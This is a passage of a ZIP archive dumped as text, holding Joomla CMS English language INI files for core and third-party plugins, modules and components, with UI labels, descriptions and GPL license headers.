      If this plugin is activated, it is suggested to publish the administrator multilanguage status module." PK@y>\[[0language/en-GB/en-GB.plg_search_weblinks.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Search - Weblinks" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Enables searching of Web Links Component" PK@y>\L.language/en-GB/en-GB.plg_content_geshi.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Displays formatted code in Articles based on the GeSHi highlighting engine" PK@y>\@]+language/en-GB/en-GB.plg_system_p3p.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PK@y>\eWW-language/en-GB/en-GB.com_joomlaupdate.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_JOOMLAUPDATE="Joomla! Update" COM_JOOMLAUPDATE_XML_DESCRIPTION="One-click update to the latest Joomla! release"PK@y>\$language/en-GB/en-GB.com_jce.sys.ininuW+A; JCE Project ; Copyright (C) 2005 - 2008 Ryan Demmer. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 JCE ="JCE Administration" WF_ADMIN_TITLE ="JCE Administration" WF_ADMIN_DESC ="

      Administration, installation and configuration component for the JCE Editor.

      Changelog - for a full changelog see http://www.joomlacontenteditor.net/support/releases/changelog/component

      " COM_JCE ="JCE Administration" WF_MENU_INSTALL ="Install Add-ons" WF_MENU_PROFILES ="Profiles" WF_MENU_CONFIG ="Global Configuration" WF_MENU_CPANEL ="Control Panel" ; ## Backwards Compatability ## JCE_MENU_INSTALL ="Install Add-ons" JCE_MENU_PROFILES ="Profiles" JCE_MENU_CONFIG ="Global Configuration" JCE_MENU_CPANEL ="Control Panel"PK@y>\A]yqq%language/en-GB/en-GB.mod_feed.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Feed Display" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" MOD_FEED_LAYOUT_DEFAULT="Default" PK@y>\z~[[1language/en-GB/en-GB.plg_extension_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EXTENSION_JOOMLA="Extension - Joomla" PLG_EXTENSION_JOOMLA_XML_DESCRIPTION="Manage the update sites for extensions"PK@y>\2<3language/en-GB/en-GB.plg_quickicon_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE="Quick Icon - Joomla! Update Notification" PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Checking Joomla!
      update status" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Unknown Joomla!
      update status" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Group" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
      Update now!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! is up-to-date" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Checks for Joomla! updates and notifies you when you visit the Control Panel page" PK@y>\tXX0language/en-GB/en-GB.plg_xmap_com_virtuemart.ininuW+AXMAP_VM_PLUGIN_DESCRIPTION="Adds support for Virtuemart's categories and products" XMAP_VM_SETTING_SHOW_PRODUCTS_LABEL="Show Products?" XMAP_VM_SETTING_SHOW_PRODUCTS_DESC="Should we include products into the site map?" XMAP_SETTING_OPTION_ORDERING_DEFAULT="Default ordering" XMAP_SETTING_OPTION_ORDERING_NAME="Name" XMAP_SETTING_OPTION_ORDERING_CREATED="Creation date" XMAP_SETTING_OPTION_ORDERING_MODIFIED="Modified date" XMAP_SETTING_OPTION_ORDERING_HITS="Number of hits" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_VM_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_VM_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_VM_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_VM_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_VM_PRODUCT_PRIORITY_LABEL="Product Priority" XMAP_VM_PRODUCT_PRIORITY_DESC="Set the priority for the products" XMAP_VM_PRODUCT_CHANGEFREQ_LABEL="Product Change frequency" XMAP_VM_PRODUCT_CHANGEFREQ_DESC="Set the change frequency for the products"PK@y>\°F2language/en-GB/en-GB.plg_content_pdf_embed.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PDF_EMBED="Content Pdf Embed" PLG_PDF_EMBED_DESC="

      Thank You for downloading this plugin from Techjoomla

      A superb Plugin which allows you to embed pdf.

      " PK@y>\.1-language/en-GB/en-GB.plg_finder_newsfeeds.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Smart Search - Newsfeeds" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="This plugin indexes Joomla! Newsfeeds." PLG_FINDER_QUERY_FILTER_BRANCH_S_NEWS_FEED="News feed" PLG_FINDER_QUERY_FILTER_BRANCH_P_NEWS_FEED="News feeds" PK@y>\ "p0language/en-GB/en-GB.plg_system_redirect.sys.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\72:language/en-GB/en-GB.plg_editors-xtd_admirorbutton.sys.ininuW+A; @version 4.0 ; @package Admiror Gallery (plugin) ; @copyright Copyright (C) 2010 - 2011. All rights reserved. ; @author Igor Kekeljevic & Nikola Vasiljevski, 2011. ; @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html ; @note All ini files need to be saved as UTF-8 ; Plugin Description plg_editors-xtd_admirorbutton="Button - Admiror Gallery"PK@y>\Ed1language/en-GB/en-GB.plg_system_highlight.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"System - Highlight"_QQ_" plugin" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\իaa-language/en-GB/en-GB.plg_system_highlight.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_HIGHLIGHT="System - Highlight" PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION="System plugin to highlight specified terms." PK@y>\>^^/language/en-GB/en-GB.plg_content_emailcloak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_LINKABLE="As linkable mailto address" PLG_CONTENT_EMAILCLOAK_MODE_DESC="Select how emails will be displayed" PLG_CONTENT_EMAILCLOAK_MODE_LABEL="Mode" PLG_CONTENT_EMAILCLOAK_NONLINKABLE="Non-linkable Text" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\P,w1language/en-GB/en-GB.plg_vmpayment_paypal.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="Vm Payment plugin Paypal"PK@y>\'s.language/en-GB/en-GB.plg_search_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES_CATEGORIES="Categories" PLG_SEARCH_CATEGORIES="Search - Categories" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CATEGORIES_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Enables searching of Category information"PK@y>\eZ'language/en-GB/en-GB.plg_system_log.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Provides System Logging" PLG_SYSTEM_LOG="System - Log" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_DESC="This option will log used user names when an authentication failed" PLG_SYSTEM_LOG_FIELD_LOG_USERNAME_LABEL="Log user names" PK@y>\ !\"language/en-GB/en-GB.mod_login.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Login Form" MOD_LOGIN_FIELD_USESECURE_DESC="Submit encrypted login data (requires SSL). Do not enable this option if Joomla is not accessible using the https:// protocol prefix." MOD_LOGIN_FIELD_USESECURE_LABEL="Encrypt Login Form" MOD_LOGIN_LANGUAGE="Language" MOD_LOGIN_LOGIN="Log in" MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It should not be unpublished." PK@y>\gƊ )language/en-GB/en-GB.plg_system_debug.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_DEBUG_ERRORS="Errors" PLG_DEBUG_FIELD_ALLOWED_GROUPS_DESC="Optionally restrict users that can see debug information to those in the selected user groups. If none selected, all users see the debug information." PLG_DEBUG_FIELD_ALLOWED_GROUPS_LABEL="Allowed Groups" PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_DESC="Display a list of the language files that are in error according to the Joomla ini specification." PLG_DEBUG_FIELD_LANGUAGE_ERRORFILES_LABEL="Show errors when parsing language files" PLG_DEBUG_FIELD_LANGUAGE_FILES_DESC="Display a list of the language files that Joomla has tried to load." PLG_DEBUG_FIELD_LANGUAGE_FILES_LABEL="Show Language Files" PLG_DEBUG_FIELD_LANGUAGE_STRING_DESC="Display a list of the untranslated language strings." PLG_DEBUG_FIELD_LANGUAGE_STRING_LABEL="Show Language String" PLG_DEBUG_FIELD_LOG_DEPRECATED_DESC="If enabled, API marked as deprecated will be logged. Only use this setting for short periods of time for refactoring purposes." PLG_DEBUG_FIELD_LOG_DEPRECATED_LABEL="Log deprecated API" PLG_DEBUG_FIELD_MEMORY_DESC="Display the total memory usage." PLG_DEBUG_FIELD_MEMORY_LABEL="Show Memory Usage" PLG_DEBUG_FIELD_PROFILING_DESC="Display the profiling waypoints." PLG_DEBUG_FIELD_PROFILING_LABEL="Show Profiling" PLG_DEBUG_FIELD_QUERIES_DESC="Display a list the queries executed while displaying the page." PLG_DEBUG_FIELD_QUERIES_LABEL="Show Queries" PLG_DEBUG_FIELD_QUERY_TYPES_DESC="Display a list of unique query types and their number of occurrences for the current page. Useful for finding out about repeated queries that are either redundant or which can be grouped into a single, more efficient query." PLG_DEBUG_FIELD_QUERY_TYPES_LABEL="Show Query Types" PLG_DEBUG_FIELD_STRIP_FIRST_DESC="In multi-word strings, always strip the first word." PLG_DEBUG_FIELD_STRIP_FIRST_LABEL="Strip First Word" PLG_DEBUG_FIELD_STRIP_PREFIX_DESC="Strip words from the beginning of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_PREFIX_LABEL="Strip From Start" PLG_DEBUG_FIELD_STRIP_SUFFIX_DESC="Strip words from the end of the string. For multiple words, use the format: (word1|word2)" PLG_DEBUG_FIELD_STRIP_SUFFIX_LABEL="Strip From End" PLG_DEBUG_LANG_LOADED="Loaded" PLG_DEBUG_LANG_NOT_LOADED="Not loaded" PLG_DEBUG_LANGUAGE_FIELDSET_LABEL="Language Options" PLG_DEBUG_LANGUAGE_FILES_IN_ERROR="Parsing errors in language files" PLG_DEBUG_LANGUAGE_FILES_LOADED="Language Files Loaded" PLG_DEBUG_LOGGING_FIELDSET_LABEL="Logging" PLG_DEBUG_MEMORY_USAGE="Memory Usage" PLG_DEBUG_OTHER_QUERIES="OTHER Tables:" PLG_DEBUG_PROFILE_INFORMATION="Profile Information" PLG_DEBUG_QUERIES="Database Queries" PLG_DEBUG_QUERIES_LOGGED="%d Queries Logged" PLG_DEBUG_QUERY_TYPES_LOGGED="%d Query Types Logged, Sorted by Occurrences." PLG_DEBUG_QUERY_TYPE_AND_OCCURRENCES="%2$d × %1$s" PLG_DEBUG_SELECT_QUERIES="SELECT Tables:" PLG_DEBUG_SESSION="Session" PLG_DEBUG_TITLE="Joomla! Debug Console" PLG_DEBUG_UNKNOWN_FILE="Unknown file" PLG_DEBUG_UNTRANSLATED_STRINGS="Untranslated Strings" PLG_DEBUG_XML_DESCRIPTION="This plugin provides a variety of system information as well as assistance for the creation of translation files." PLG_SYSTEM_DEBUG="System - Debug" PK@y>\ "p,language/en-GB/en-GB.plg_system_redirect.ininuW+A; @package Joomla ; @subpackage plgSystemRedirect ; @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. ; @license GNU General Public License version 2 or later; see LICENSE.txt PLG_REDIRECT_XML_DESCRIPTION="The system redirect plug-in enables the Joomla Redirect system to catch missing pages and redirect users." PLG_SYSTEM_REDIRECT="System - Redirect" PK@y>\UCfә*language/en-GB/en-GB.com_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS="Newsfeeds" COM_NEWSFEEDS_CATEGORIES="Categories" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_DESC="Show all the news feed categories within a category." COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_CATEGORIES_VIEW_DEFAULT_TITLE="List All News Feed Categories" COM_NEWSFEEDS_CATEGORY_ADD_TITLE="Category Manager: Add A News Feed Category" COM_NEWSFEEDS_CATEGORY_EDIT_TITLE="Category Manager: Edit A News Feed Category" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_DESC="Show all news feeds within a category." COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_CATEGORY_VIEW_DEFAULT_TITLE="List News Feeds in a Category" COM_NEWSFEEDS_FEEDS="Feeds" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_DESC="Show a single news feed." COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_OPTION="Default" COM_NEWSFEEDS_NEWSFEED_VIEW_DEFAULT_TITLE="Single News Feed" COM_NEWSFEEDS_XML_DESCRIPTION="This component manages RSS and Atom news feeds" PK@y>\ΧU3bb(language/en-GB/en-GB.plg_user_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_JOOMLA="User - Joomla!" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_DESC="Automatically create Registered Users where possible" PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL="Auto-create Users" PLG_USER_JOOMLA_FIELD_MAILTOUSER_DESC="When an administrator creates a user account, this determines if an email, which contains their username and password, is sent to the user." PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL="Notification Mail to User" PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY="Hello %s,\n\n\nYou have been added as a User to %s by an Administrator.\n\nThis email contains your username and password to log in to %s\n\nUsername: %s\nPassword: %s\n\n\nPlease do not respond to this message as it is automatically generated and is for information purposes only." PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT="New User Details" PLG_USER_JOOMLA_XML_DESCRIPTION="Handles Joomla!'s default User synchronisation"PK@y>\Z`(language/en-GB/en-GB.mod_popular.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." MOD_POPULAR="Popular Articles" MOD_POPULAR_LAYOUT_DEFAULT="Default" PK@y>\  ,language/en-GB/en-GB.plg_search_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_WEBLINKS="Search - Weblinks" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_WEBLINKS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_WEBLINKS_WEBLINKS="Weblinks" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Enables searching of Web Links Component"PK@y>\(;language/en-GB/en-GB.plg_vmpayment_moneybookers_idl.sys.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers VMPAYMENT_MONEYBOOKERS="Vm Payment plugin Moneybookers iDeal"PK@y>\%w#language/en-GB/en-GB.lib_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Access forbidden" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Unable to load application: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new items in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these items." JLIB_APPLICATION_ERROR_BATCH_FAILED="Batch process failed with following error: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Cannot find the destination category for this move." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Cannot find the item being moved." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Check-in failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Item is not checked out" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="The user checking in does not match the user who checked out the item." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Check-out failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="The user checking out does not match the user who checked out the item." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Component not found" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Error loading component: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Create record not permitted" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Delete not permitted" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Edit state is not permitted" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Edit is not permitted" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Edit not permitted" JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Invalid controller class: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Invalid controller: name='%s', format='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Layout %s not found" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_MODULE_LOAD="Error loading module %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Unable to load pathway: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Reorder failed. Error: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Unable to load router: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="Model class %s not found in file" JLIB_APPLICATION_ERROR_SAVE_FAILED="Save failed with the following error: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Save not permitted" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Table %s not supported. File not found." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="Task [%s] not found" JLIB_APPLICATION_ERROR_UNHELD_ID="You are not permitted to use that link to directly access that page (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="View class not found [class, file]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : Your classname contains the substring 'view'. This causes problems when extracting the classname from the name of your objects view. Avoid Object names with the substring 'view'." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="View not found [name, type, prefix]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="Item successfully saved." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="Item successfully submitted." JLIB_APPLICATION_SUCCESS_BATCH="Batch process completed successfully." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="Ordering successfully saved." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="Ordering successfully saved." JLIB_LOGIN_AUTHENTICATE="Username and password do not match or you do not have an account yet." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Unable to load Cache Handler: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Unable to load Cache Storage: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="Captcha plugin not set or not found. Please contact a site administrator" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Bad Username. Server response: %1$s [Expected: 331]. Username sent: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: Bad Password. Server response: %1$s [Expected: 230]. Password sent: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Bad response" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Bad response. Server response: %s [Expected: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Bad response" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Bad response. Server response: %s [Expected: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Bad response" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Bad response" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Bad response" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Bad response. Server response: %1$s [Expected: 350]. From path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Bad response. Server response: %1$s [Expected: 250]. To path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Bad response" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s. Mode sent: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Bad response" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Bad response" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Bad response. Server response: %1$s [Expected: 257]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Bad response" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Bad response. Server response: %1$s [Expected: 350]. Restart point sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Bad response" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Bad response" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" 